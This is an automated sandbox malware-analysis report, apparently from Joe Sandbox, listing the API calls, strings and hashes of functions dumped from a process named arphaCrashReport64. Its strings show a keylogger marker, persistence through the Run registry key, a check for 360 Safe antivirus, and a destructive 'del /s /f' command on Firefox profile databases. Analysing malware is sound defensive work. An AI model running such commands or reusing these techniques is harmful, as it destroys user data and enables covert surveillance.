VirtualAlloc.KERNEL32(?,?,?,00000210AE4CE182), ref: 00000210AE4D1D6D

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 21959852741109b5e7747a37437c39210fff53e0e4c1cda0704ecbb69bd8df48
Instruction ID: 7dd87fc748d8ed555433dadf0268dd428bf1b7a712d1690c4a3b1f2c84694f2f
Opcode Fuzzy Hash: 21959852741109b5e7747a37437c39210fff53e0e4c1cda0704ecbb69bd8df48
Instruction Fuzzy Hash: 2E515B32311B408AEB54DB62E9D87E973A9FB98BC0F284025DF8907B54EF78D491C740

Function 00000210AE4D9AB0 Relevance: 12.1, APIs: 8, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

_FF_MSGBANNER.LIBCMT ref: 00000210AE4D9AD7

Part of subcall function 00000210AE4DA4A4: _set_error_mode.LIBCMT ref: 00000210AE4DA4AD
Part of subcall function 00000210AE4DA4A4: _set_error_mode.LIBCMT ref: 00000210AE4DA4BC

Part of subcall function 00000210AE4DA244: _set_error_mode.LIBCMT ref: 00000210AE4DA289
Part of subcall function 00000210AE4DA244: _set_error_mode.LIBCMT ref: 00000210AE4DA29A
Part of subcall function 00000210AE4DA244: GetModuleFileNameW.KERNEL32 ref: 00000210AE4DA2FC

Part of subcall function 00000210AE4D4F94: ExitProcess.KERNEL32 ref: 00000210AE4D4FA3

Part of subcall function 00000210AE4D52FC: malloc.LIBCMT ref: 00000210AE4D5327
Part of subcall function 00000210AE4D52FC: Sleep.KERNEL32(?,?,ceil,00000210AE4D9B11,?,?,?,00000210AE4D9BBB,?,?,00000000,00000210AE4D4875,?,?,00000000,00000210AE4D492C), ref: 00000210AE4D533A

_errno.LIBCMT ref: 00000210AE4D9B19
_lock.LIBCMT ref: 00000210AE4D9B2D
InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,?,00000210AE4D9BBB,?,?,00000000,00000210AE4D4875,?,?,00000000,00000210AE4D492C,?,?,?,00000210AE4D3209), ref: 00000210AE4D9B43
free.LIBCMT ref: 00000210AE4D9B50
_errno.LIBCMT ref: 00000210AE4D9B55
RtlLeaveCriticalSection.NTDLL ref: 00000210AE4D9B78

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: _set_error_mode$CriticalSection_errno$CountExitFileInitializeLeaveModuleNameProcessSleepSpin_lockfreemalloc
String ID:
API String ID: 113790786-0
Opcode ID: 86b9dc4b091e1531f1f1660560b6c68a568f69c3ca3f9b6cc957dd92b27819b6
Instruction ID: 8ac0e4a7dbaf750c640f04dced7bc4794084752939e8d429ef37113d9166395c
Opcode Fuzzy Hash: 86b9dc4b091e1531f1f1660560b6c68a568f69c3ca3f9b6cc957dd92b27819b6
Instruction Fuzzy Hash: 8821293161574482F664AB61ACCC3EE6258FFA4B94F355124EBC6866D2DFFCC8C08750

Function 00000210AE4D8A90 Relevance: 12.0, APIs: 8, Instructions: 39COMMON

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 00000210AE4D8A9D
_errno.LIBCMT ref: 00000210AE4D8AA5
_invalid_parameter_noinfo.LIBCMT ref: 00000210AE4D8AB1
GetFileAttributesA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,del /s /f %appdata%\Mozilla\Firefox\Profiles\*.db,?,?,00000210AE4D408F), ref: 00000210AE4D8AC2
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,del /s /f %appdata%\Mozilla\Firefox\Profiles\*.db,?,?,00000210AE4D408F), ref: 00000210AE4D8ACD
_errno.LIBCMT ref: 00000210AE4D8ADA

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$AttributesErrorFileLast__doserrno_invalid_parameter_noinfo
String ID:
API String ID: 2953107838-0
Opcode ID: f747f3ee9be4ded5c3729201c636670468750acdd607b39ec7231ba446a72a78
Instruction ID: 5f6c8792b6700fc1db1c5780de57ecdc209605a8317e2de113b806f0df0100ce
Opcode Fuzzy Hash: f747f3ee9be4ded5c3729201c636670468750acdd607b39ec7231ba446a72a78
Instruction Fuzzy Hash: 9A011971B007048AFA656BB59CCE3FD21985FB9721F749510EBE1462C2CEF848C08621

Function 00000210AE1EBF88 Relevance: 11.6, APIs: 9, Instructions: 379COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 00000210AE1EC277
free.LIBCMT ref: 00000210AE1EC287
free.LIBCMT ref: 00000210AE1EC297
free.LIBCMT ref: 00000210AE1EC2A3
free.LIBCMT ref: 00000210AE1EC2F8
free.LIBCMT ref: 00000210AE1EC300
free.LIBCMT ref: 00000210AE1EC308
free.LIBCMT ref: 00000210AE1EC310
free.LIBCMT ref: 00000210AE1EC31A

Memory Dump Source

Source File: 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE1D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae1d0000_arphaCrashReport64.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f32bca21d81294411377cb91f11f61de43356bc1920308245a35a8ea1693f131
Instruction ID: 1bc954e26b5bcc19096be825c442eee7ce54e65951c2a78b408469bd319cde69
Opcode Fuzzy Hash: f32bca21d81294411377cb91f11f61de43356bc1920308245a35a8ea1693f131
Instruction Fuzzy Hash: D1D1E530618B998BD759DF6894993F9B7D0FF68300F14416EF98AC7282DB74A982C781

Function 00000210AE4DBFB0 Relevance: 10.8, APIs: 7, Instructions: 305COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 00000210AE4DC034
free.LIBCMT ref: 00000210AE4DC059
free.LIBCMT ref: 00000210AE4DC41E
free.LIBCMT ref: 00000210AE4DC42A

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 230abf8bd2d6fe58f199a5d982aed6ada3d7d01b665ea2997f38d06e056d1801
Instruction ID: dd54a84ef6a499c6a2f0e21fbc3fc78789308337afb5f22e368e22580059d414
Opcode Fuzzy Hash: 230abf8bd2d6fe58f199a5d982aed6ada3d7d01b665ea2997f38d06e056d1801
Instruction Fuzzy Hash: 97D19F32704B5085EB20DF62E8C8ADE77A8FBA9784F5005269F8D83755EFB8C249C740

Function 00000210AE4D0682 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 223registryCOMMON

Download Yara Rule

APIs

rand.LIBCMT ref: 00000210AE4D07D1
RegOpenKeyExA.ADVAPI32 ref: 00000210AE4D0940
RegSetValueExA.ADVAPI32 ref: 00000210AE4D0979
RegCloseKey.ADVAPI32 ref: 00000210AE4D0997

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 00000210AE4D0932
run, xrefs: 00000210AE4D0986

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: CloseOpenValuerand
String ID: SOFTWARE\Microsoft\Windows\CurrentVersion\Run$run
API String ID: 1269030272-4096352211
Opcode ID: bb5cf5929220f16a8c944caad1162cf4acaccbe0bc6527bf008da004e9084124
Instruction ID: b11c435f1f44b7c3c66c1b17b56f71f41f33cb185519998c09f1b90dd793995d
Opcode Fuzzy Hash: bb5cf5929220f16a8c944caad1162cf4acaccbe0bc6527bf008da004e9084124
Instruction Fuzzy Hash: BAB16A32110BC089E7749F34ECD83D9376AFB65798F604616EB994BADACFB086D48340

Function 00007FFD944731A8 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 199COMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32 ref: 00007FFD944731CD

Part of subcall function 00007FFD94472CD0: Sleep.KERNEL32(?,?,?,00007FFD944729F3,?,?,?,00007FFD9447253D,?,?,?,?,00007FFD94471ECD), ref: 00007FFD94472D15

GetFileType.KERNEL32 ref: 00007FFD9447334A

Strings

@, xrefs: 00007FFD94473445

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: FileInfoSleepStartupType
String ID: @
API String ID: 1527402494-2766056989
Opcode ID: 48a193d817a4ce508542fbb661ae7cf82ef345bc93c222e0c3ee363ee47c5dd1
Instruction ID: 4f2661c0d6a1a88e4e91a51832ab8e4dbd32148e12d42261522e2b33b4458709
Opcode Fuzzy Hash: 48a193d817a4ce508542fbb661ae7cf82ef345bc93c222e0c3ee363ee47c5dd1
Instruction Fuzzy Hash: 73919B31B0868281E7348BA4D4A86282695FB06774F65C735C67D473DADFBCE943CB01

Function 00000210AE4C7CE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 119COMMON

Download Yara Rule

APIs

Part of subcall function 00000210AE4D3290: malloc.LIBCMT ref: 00000210AE4D32AA

std::exception::exception.LIBCMT ref: 00000210AE4C7DA7
free.LIBCMT ref: 00000210AE4C7E17
free.LIBCMT ref: 00000210AE4C7E29
free.LIBCMT ref: 00000210AE4C7E3B
free.LIBCMT ref: 00000210AE4C7E4D

Strings

bad locale name, xrefs: 00000210AE4C7D94

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: free$mallocstd::exception::exception
String ID: bad locale name
API String ID: 4069110180-1405518554
Opcode ID: 95a9697bb6755bd2649860b9bd4432e613ca6325910d1b302bb7e252e0bbe095
Instruction ID: 684b2ed087c14b2a8955de2d9ffef2477cb298821f4d5e30ec9ca6807e42c3cf
Opcode Fuzzy Hash: 95a9697bb6755bd2649860b9bd4432e613ca6325910d1b302bb7e252e0bbe095
Instruction Fuzzy Hash: F0514A36702B409AFB10DBB4E8D93DD337AAFA4748F240525DF8917A9ADFB48499C344

Function 00000210AE4CD060 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

Part of subcall function 00000210AE4D3290: malloc.LIBCMT ref: 00000210AE4D32AA

std::exception::exception.LIBCMT ref: 00000210AE4CD10B
free.LIBCMT ref: 00000210AE4CD18D
free.LIBCMT ref: 00000210AE4CD19F
free.LIBCMT ref: 00000210AE4CD1B1
free.LIBCMT ref: 00000210AE4CD1C3

Strings

bad locale name, xrefs: 00000210AE4CD0F8

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: free$mallocstd::exception::exception
String ID: bad locale name
API String ID: 4069110180-1405518554
Opcode ID: 07180e9b4d2e60f22a41465041aba0a5742f0305ed2e05aa6cee22b514af3519
Instruction ID: 5b2334b5c3b37a87a55343048e1447dcd85f99ddc3d816aee0bcce284a66acef
Opcode Fuzzy Hash: 07180e9b4d2e60f22a41465041aba0a5742f0305ed2e05aa6cee22b514af3519
Instruction Fuzzy Hash: 6A414A36602B4098EB11DF60E8943ED33A8EFA4798F644525DF8D17A99DE74C5A9C304

Function 00000210AE4D42A4 Relevance: 10.6, APIs: 7, Instructions: 93threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00000210AE4D83F4: HeapCreate.KERNELBASE ref: 00000210AE4D840A
Part of subcall function 00000210AE4D83F4: GetVersion.KERNEL32 ref: 00000210AE4D841C
Part of subcall function 00000210AE4D83F4: HeapSetInformation.KERNEL32 ref: 00000210AE4D843A

_RTC_Initialize.LIBCMT ref: 00000210AE4D42D6
GetCommandLineA.KERNEL32 ref: 00000210AE4D42DB

Part of subcall function 00000210AE4D976C: GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00000210AE4D42ED), ref: 00000210AE4D9785
Part of subcall function 00000210AE4D976C: WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00000210AE4D42ED), ref: 00000210AE4D97DC
Part of subcall function 00000210AE4D976C: WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00000210AE4D42ED), ref: 00000210AE4D9817
Part of subcall function 00000210AE4D976C: free.LIBCMT ref: 00000210AE4D9824
Part of subcall function 00000210AE4D976C: FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00000210AE4D42ED), ref: 00000210AE4D982F

Part of subcall function 00000210AE4D902C: GetStartupInfoW.KERNEL32 ref: 00000210AE4D904D

__setargv.LIBCMT ref: 00000210AE4D4304
_cinit.LIBCMT ref: 00000210AE4D4318

Part of subcall function 00000210AE4D47F4: FlsFree.KERNEL32(?,?,?,?,00000210AE4D4382), ref: 00000210AE4D4803
Part of subcall function 00000210AE4D47F4: RtlDeleteCriticalSection.NTDLL ref: 00000210AE4D9A43
Part of subcall function 00000210AE4D47F4: free.LIBCMT ref: 00000210AE4D9A4C
Part of subcall function 00000210AE4D47F4: RtlDeleteCriticalSection.NTDLL ref: 00000210AE4D9A73

Part of subcall function 00000210AE4D9300: free.LIBCMT ref: 00000210AE4D9351

Part of subcall function 00000210AE4D537C: Sleep.KERNEL32(?,?,ceil,00000210AE4D4907,?,?,?,00000210AE4D3209,?,?,?,?,00000210AE4E3CCA), ref: 00000210AE4D53C1

FlsSetValue.KERNEL32 ref: 00000210AE4D43B2
GetCurrentThreadId.KERNEL32 ref: 00000210AE4D43C6
free.LIBCMT ref: 00000210AE4D43D5

Part of subcall function 00000210AE4D3D28: HeapFree.KERNEL32(?,?,00000000,00000210AE4D4940,?,?,?,00000210AE4D3209,?,?,?,?,00000210AE4E3CCA), ref: 00000210AE4D3D3E
Part of subcall function 00000210AE4D3D28: _errno.LIBCMT ref: 00000210AE4D3D48
Part of subcall function 00000210AE4D3D28: GetLastError.KERNEL32(?,?,00000000,00000210AE4D4940,?,?,?,00000210AE4D3209,?,?,?,?,00000210AE4E3CCA), ref: 00000210AE4D3D50

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: free$FreeHeap$ByteCharCriticalDeleteEnvironmentMultiSectionStringsWide$CommandCreateCurrentErrorInfoInformationInitializeLastLineSleepStartupThreadValueVersion__setargv_cinit_errno
String ID:
API String ID: 125979975-0
Opcode ID: 37b4e0c4565de308d4cd786e8218033d40196c5ea1367a114a56c7de8a0c3825
Instruction ID: ddc5a57a6a395d042bc76a077c2e1f6bb15f0ca72a27b689c792a226aca4ec12
Opcode Fuzzy Hash: 37b4e0c4565de308d4cd786e8218033d40196c5ea1367a114a56c7de8a0c3825
Instruction Fuzzy Hash: 0631243070570186FAA5BBB96CCD3ED219DEF35794F344625ABD1852D3EEED84C08262

Function 00007FFD94477EB6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00007FFD94477EBE
RaiseException.KERNEL32 ref: 00007FFD94477EFA
RaiseException.KERNEL32 ref: 00007FFD94477F1D
_getptd.LIBCMT ref: 00007FFD94477F99
_getptd.LIBCMT ref: 00007FFD94477FAD

Strings

csm, xrefs: 00007FFD94477F4C

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd$ExceptionRaise
String ID: csm
API String ID: 2255768072-1018135373
Opcode ID: 7cc8670d35e4c01d6a0e92c0c42231d198be58cd754d693a2b5f7d567934e0f1
Instruction ID: dd55b19c5346a56229f1b59b9566b4cc5581fdfbb86138730bef6c87dcd4c3d0
Opcode Fuzzy Hash: 7cc8670d35e4c01d6a0e92c0c42231d198be58cd754d693a2b5f7d567934e0f1
Instruction Fuzzy Hash: 49317C3270864286D670DF91E098A6D33A8FB867A5F81C236DE5D4379ACF79E446CB00

Function 00007FFD94474374 Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

_FF_MSGBANNER.LIBCMT ref: 00007FFD9447439B

Part of subcall function 00007FFD94473FE0: GetModuleFileNameA.KERNEL32(?,?,?,?,?,00007FFD9447423C,?,?,?,?,00007FFD94471D69,?,?,00000000,00007FFD94472C88), ref: 00007FFD944740A3

Part of subcall function 00007FFD94472E48: ExitProcess.KERNEL32 ref: 00007FFD94472E57

Part of subcall function 00007FFD94472C64: malloc.LIBCMT ref: 00007FFD94472C83
Part of subcall function 00007FFD94472C64: Sleep.KERNEL32(?,?,00000000,00007FFD944743D5,?,?,?,00007FFD9447447F), ref: 00007FFD94472C9A

_errno.LIBCMT ref: 00007FFD944743DD
_lock.LIBCMT ref: 00007FFD944743F1
free.LIBCMT ref: 00007FFD94474413
_errno.LIBCMT ref: 00007FFD94474418
LeaveCriticalSection.KERNEL32(?,?,?,00007FFD9447447F), ref: 00007FFD9447443E

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$CriticalExitFileLeaveModuleNameProcessSectionSleep_lockfreemalloc
String ID:
API String ID: 1024173049-0
Opcode ID: 4dfbc259c503659c9f50e031569fa077f3fd3320b06307f34012312d2743a21e
Instruction ID: aa7870126baa0a3104e15f8d16a6989d5774710b1e366f5eb38dbd8bccf5eef3
Opcode Fuzzy Hash: 4dfbc259c503659c9f50e031569fa077f3fd3320b06307f34012312d2743a21e
Instruction Fuzzy Hash: B521AC31F4964282F674ABD1A4A577E2294AF86788F44D134E64E476CBCFBCE442C780

Function 00000210AE4D20E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 47stringCOMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32 ref: 00000210AE4D212E
lstrcpy.KERNEL32 ref: 00000210AE4D2144
wsprintfA.USER32 ref: 00000210AE4D2173
lstrlen.KERNEL32 ref: 00000210AE4D217C

Strings

SOFTWARE\%sW\, xrefs: 00000210AE4D2164
UnKnowW, xrefs: 00000210AE4D2138

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: ComputerNamelstrcpylstrlenwsprintf
String ID: SOFTWARE\%sW\$UnKnowW
API String ID: 2137660125-763317463
Opcode ID: dcea012c4cec8c2c86aa07fbe8fa18e7c6b084d16e7e0d36b23a3dafce76063e
Instruction ID: 67e279a1180fadbfdc5439c44fda45f74f312d20e1f4fd9293129dd19cbf6004
Opcode Fuzzy Hash: dcea012c4cec8c2c86aa07fbe8fa18e7c6b084d16e7e0d36b23a3dafce76063e
Instruction Fuzzy Hash: 04110D31218B8181EB20DF15F8D93DA6365FBE9B84F944012DB8D47A59EF7DC589CB00

Function 00000210AE4CDCA0 Relevance: 10.5, APIs: 7, Instructions: 44filesynchronizationstringCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 00000210AE4CDCBC
CreateFileA.KERNEL32 ref: 00000210AE4CDCEE
SetFilePointer.KERNEL32 ref: 00000210AE4CDD13
lstrlen.KERNEL32 ref: 00000210AE4CDD1C
WriteFile.KERNEL32 ref: 00000210AE4CDD39
CloseHandle.KERNEL32 ref: 00000210AE4CDD42
ReleaseMutex.KERNEL32 ref: 00000210AE4CDD54

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: File$CloseCreateHandleMutexObjectPointerReleaseSingleWaitWritelstrlen
String ID:
API String ID: 4202892810-0
Opcode ID: d38896a3890081b88ef905279f1f8f3bcd07668c588b65e7c678813c6d7bd9a0
Instruction ID: 95caff42cb8761c4317e57cba17cc18d244d3ef8ce6cd667d48de96022f5b79a
Opcode Fuzzy Hash: d38896a3890081b88ef905279f1f8f3bcd07668c588b65e7c678813c6d7bd9a0
Instruction Fuzzy Hash: 79111271205B4081EB54DB51F89C7A9B764FF9CBA4F284214DBAA03BA4DFBCC0858B00

Function 00000210AE4CFB30 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 34sleeplibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00000210AE4C2AC0: CreateToolhelp32Snapshot.KERNEL32 ref: 00000210AE4C2AD6

LoadLibraryW.KERNEL32 ref: 00000210AE4CFB48

Part of subcall function 00000210AE4CF2D0: CreateFileW.KERNEL32 ref: 00000210AE4CF303

FindWindowW.USER32 ref: 00000210AE4CFB69
IsDlgButtonChecked.USER32 ref: 00000210AE4CFB84
Sleep.KERNEL32 ref: 00000210AE4CFB8F

Part of subcall function 00000210AE4CF360: GetCurrentProcessId.KERNEL32 ref: 00000210AE4CF3A0
Part of subcall function 00000210AE4CF360: GetCurrentThreadId.KERNEL32 ref: 00000210AE4CF3A8
Part of subcall function 00000210AE4CF360: VirtualProtect.KERNEL32 ref: 00000210AE4CF3CF
Part of subcall function 00000210AE4CF360: VirtualProtect.KERNEL32 ref: 00000210AE4CF3F6
Part of subcall function 00000210AE4CF360: CreateProcessWithLogonW.ADVAPI32 ref: 00000210AE4CF450
Part of subcall function 00000210AE4CF360: VirtualProtect.KERNEL32 ref: 00000210AE4CF475
Part of subcall function 00000210AE4CF360: VirtualProtect.KERNEL32 ref: 00000210AE4CF49C
Part of subcall function 00000210AE4CF360: CloseHandle.KERNEL32 ref: 00000210AE4CF4AC

Strings

Q360SafeMonClass, xrefs: 00000210AE4CFB60
user32.dll, xrefs: 00000210AE4CFB41

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: ProtectVirtual$Create$CurrentProcess$ButtonCheckedCloseFileFindHandleLibraryLoadLogonSleepSnapshotThreadToolhelp32WindowWith
String ID: Q360SafeMonClass$user32.dll
API String ID: 200090976-537184153
Opcode ID: 921665ad5ac78c43fd3a9f23d873db2a3a650aae6eac6ae2d962f46c08df0d72
Instruction ID: cf140adf1ae79829a5f8c56f59e24db4a4daa9b054012f125659e3c273cce052
Opcode Fuzzy Hash: 921665ad5ac78c43fd3a9f23d873db2a3a650aae6eac6ae2d962f46c08df0d72
Instruction Fuzzy Hash: 1EF0493071274142FB54A77298ED7E912D9BFF8744F7814248B86866E2FEACC8C48310

Function 00000210AE4CE1F0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 34sleepsynchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 00000210AE4CE20B
GetLastError.KERNEL32 ref: 00000210AE4CE214
GetModuleHandleA.KERNEL32 ref: 00000210AE4CE223

Part of subcall function 00000210AE4CDA90: SHGetFolderPathA.SHELL32 ref: 00000210AE4CDACD
Part of subcall function 00000210AE4CDA90: lstrcat.KERNEL32 ref: 00000210AE4CDADD
Part of subcall function 00000210AE4CDA90: CreateMutexA.KERNEL32 ref: 00000210AE4CDAEE
Part of subcall function 00000210AE4CDA90: WaitForSingleObject.KERNEL32 ref: 00000210AE4CDB06
Part of subcall function 00000210AE4CDA90: CreateFileA.KERNEL32 ref: 00000210AE4CDB34
Part of subcall function 00000210AE4CDA90: GetFileSize.KERNEL32 ref: 00000210AE4CDB42
Part of subcall function 00000210AE4CDA90: CloseHandle.KERNEL32 ref: 00000210AE4CDB4D
Part of subcall function 00000210AE4CDA90: DeleteFileA.KERNEL32 ref: 00000210AE4CDB5E
Part of subcall function 00000210AE4CDA90: ReleaseMutex.KERNEL32 ref: 00000210AE4CDB70

Part of subcall function 00000210AE4CDEB0: GetKeyState.USER32 ref: 00000210AE4CDFA5
Part of subcall function 00000210AE4CDEB0: lstrlen.KERNEL32 ref: 00000210AE4CDFFE
Part of subcall function 00000210AE4CDEB0: wsprintfA.USER32 ref: 00000210AE4CE06C
Part of subcall function 00000210AE4CDEB0: lstrlen.KERNEL32 ref: 00000210AE4CE105

Sleep.KERNEL32 ref: 00000210AE4CE250
CloseHandle.KERNEL32 ref: 00000210AE4CE261

Strings

K^e^y^L^o^g^g^e^r, xrefs: 00000210AE4CE200

Memory Dump Source

